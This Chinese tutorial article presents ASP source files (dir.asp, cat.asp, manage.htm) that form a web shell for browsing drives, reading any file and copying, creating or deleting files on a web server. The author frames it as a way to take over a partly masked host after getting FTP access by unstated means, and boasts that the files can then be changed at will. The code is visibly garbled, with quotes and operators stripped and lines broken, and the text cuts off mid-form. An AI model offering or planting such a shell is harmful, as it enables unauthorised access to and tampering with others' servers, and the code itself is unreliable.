利用ASP实现对Web主机硬盘文件的读写
2018-09-06 11:46
ASP的全称是Active Server Page,是由Microsoft公司开发的一种互动的Web应用程序。利用它可以编出很多应用程序,是Web服务更加互动,更符合用户的需求。当然,为了需要,其中也包含了操作文件系统的一些指令和函数.有一个可以用来列出服务器硬盘文件目录的ASP应用程序其文件名为dir.asp,cat.asp,manage.htm和manage.asp。dir.asp是用来显示服务器制定路径的目录文件,cat.asp是用来显示制定文件,manage.htm和manage.asp是用来实现对目录和文件的操作(建立、删除、复制、移动)。其原代码在本文最后。
不过要让服务器执行你说写的ASP命令,首先要把你写的文件放到服务器的根目录下面才可以。我们假设实验的主机是202.192.*.*。首先要将文件传上主机,这点要靠自己的办法了,我是靠FTP来实现的,因为其FTP根目录和Web根目录都是主机上的同一个文件夹。我取得了FTP的完全权限。具体方法大家自己想咯。
首先将写好的文件上传至ftp://202.192.*.*,然后通过访你可以看到服务器硬盘分区C的根目录下所有目录和文件。改变pp=后面的参数,就可以看到不同分区的信息。
接下来就是执了,这是一个整合了所有文件操作功能的ASP文件管理程序。具体使用大家看到程序就会明白的。这里不多说。
现在你就可以随心所欲的改变服务器的文件了,你想把哪个文件删除就删除,想建立就建立,因为这一切在IIS看来都是正当的要求,它没理由拒绝执行啊,^_^!
各文件源代码
dir.asp
<% @language=vbscript%>
<%
spp=request.querystring(pp)
physical path
sup=request.querystring(up)
url path
mode=request.querystring(mode)
if spp = then spp=getpp
if sup = then sup=getup
result =dir(sppsup)
function dir(byval sppbyval sup)
if right(spp1) <> then spp=spp
if right(sup1) <> / then sup=sup/
response.write <font size=4><b>Index of spp</b></font><br><hr>
set fso=CreateObject(Scripting.filesystemobject)
set f=fso.getfolder(spp)
set fc=f.files
set ff=f.subfolders
response.write <table cellpadding=2 cellspacing=2 border=0>
if mode=drivers then
set dc=fso.drives
for each d in dc
response.write <tr><td width=15 valign=middle> </td>
response.write <td valign=middle><a href=dir.asp?pp=d.DriveLette
r :>d.DriveLetter :</a> d.DriveType <br></td></tr>
next
set dc=nothing
else
set parent folder
if right(spp2)=: then
response.write <a href=chr(34)dir.asp?mode=driveschr(34)><b
>drive list</b></a><br><br>
else
response.write <tr><td width=15 valign=middle><img=src=sub_1.gif></
td>
response.write <td valign=middle><a href=chr(34)dir.asp?pp=f.
parentfolderuppardir(sup/)chr(34)><b>parent directory</b></><br><b
r></td></tr>
end if
for each f in ff
response.write <tr><te width=15 valign=middle><img src=sub_1.gif></
td>
response.write <td valign=middle><a href=chr(34)dir.asp?pp=sp
next
for each f in fc
response.write <tr><td width=15 valign=middle><img srcimage(f
.name)></td>
response.write <td valign=middle><a href=chr(34)cat.asp?fil
e=appf.namechr(34)>f.name</a><br></td></tr>
next
end if
set ff=nothing
set fso=nothing
set f=nothing
set fc=nothing
end function
function pardir(byval sbyval slash)
pardir=
if s = then exit function
s=left(slen(s)-1)
do while true
c=right(s1)
if c = : then exit do
if c <> slash then
if len(s) <=0 then exit do
s=left(slen(s)-1)
else
exit do
end if
loop
pardir=s
end function
function image(byval sname)
dim stype: stype=gettype(sname)
image=
select case stype
case .htm
image=image sub_2.gif
case .html
image=image sub_2.gif
case .bak
image=image sub_2.gif
case .BAK
image=image sub_2.gif
case .gif
case .GIF
image=image sub_2.gif
case .jpg
case .JPG
image=image sub_2.gif
case .jpeg
case .JPEG
image=image sub_2.gif
case .bmp
image=image sub_2.gif
case .BMP
image=image sub_2.gif
case .txt
image=image sub_2.gif
case else
image=image sub_2.gif
end select
end function
function getpp physical path
dim s
s=request.servervariables(path_translated)
do while true
if instr(s) then
if right(s1)= then exit do
s=left(slen(s)-1)
else
exit do
end if
loop
getup=
end function
function gettype(byval s) get file type
do while true
if instr(s.) then
if left(s1)=. then exit do
s=right(slen(s)-1)
else
gettype=
exit do
end if
loop
gettype=s
end function
%>
cat.asp
<%
file=request.querystring(file)
if file= then
response.write 请输入要看的文件名
bat
else
set fsFilesys=CreateObject(Scripting.FileSystemObject)
set tsCoffee=fsFilesys.OpenTextFile(file)
response.write tscoffee.Readall
tsCoffee.close
set fsFilesys=nothing
set tsCoffee=nothing
end if
%>
manage.htm
<html>
<head>
<meta http-equiv=Content-Type content=text/html; charset=gb2312>
<meta name=GENERATOR content=Microsoft FrontPage 4.0>
<meta name=ProgId content=FrontPage.Editor.Document>
<title>New Page 1</title>
</head>
<body>
<p align=center>
<center>
<table border=0 width=750>
<tr>
<td>
<p align=center>文件在线管理系统</td>
</tr>
<tr>
<td>复制文件</td>
</tr>
<tr>
<td><form method=get action=manage.asp>
<p>copy<input type=text name=T1 size=94></p>
<p>to<input type=text name=T2 size=97></p>
<p><input type=submit value=提交 name=B1><input type=reset value=
全部重写 name=B2></p>
</form></td>
</tr>
<tr>
<td>复制目录</td>
</tr>
<tr>
<td><form method=get action=manage.asp>
<p>copy<input type=text name=T3 size=94></p>
<p>to<input type=text name=T4 size=97></p>
<p><input type=submit value=提交 name=B1><input type=reset value=
全部重写 name=B2></p>
</form></td>
</tr>
<tr>
<td>建立文件</td>
</tr>
<tr>
<td><form method=get action=manage.asp>
<p>create<input type=text name=T5 size=94></p>
<p><input type=submit value=提交 name=B1><input type=reset value=
全部重写 name=B2></p>
</form></td>
</tr>
<tr>
<td>删除文件</td>
</tr>
<
上一篇:ASP常用函数:CStrIP()
下一篇:全文本检索的应用(1)
文章标题:利用ASP实现对Web主机硬盘文件的读写
文章链接:http://soscw.com/index.php/essay/9717.html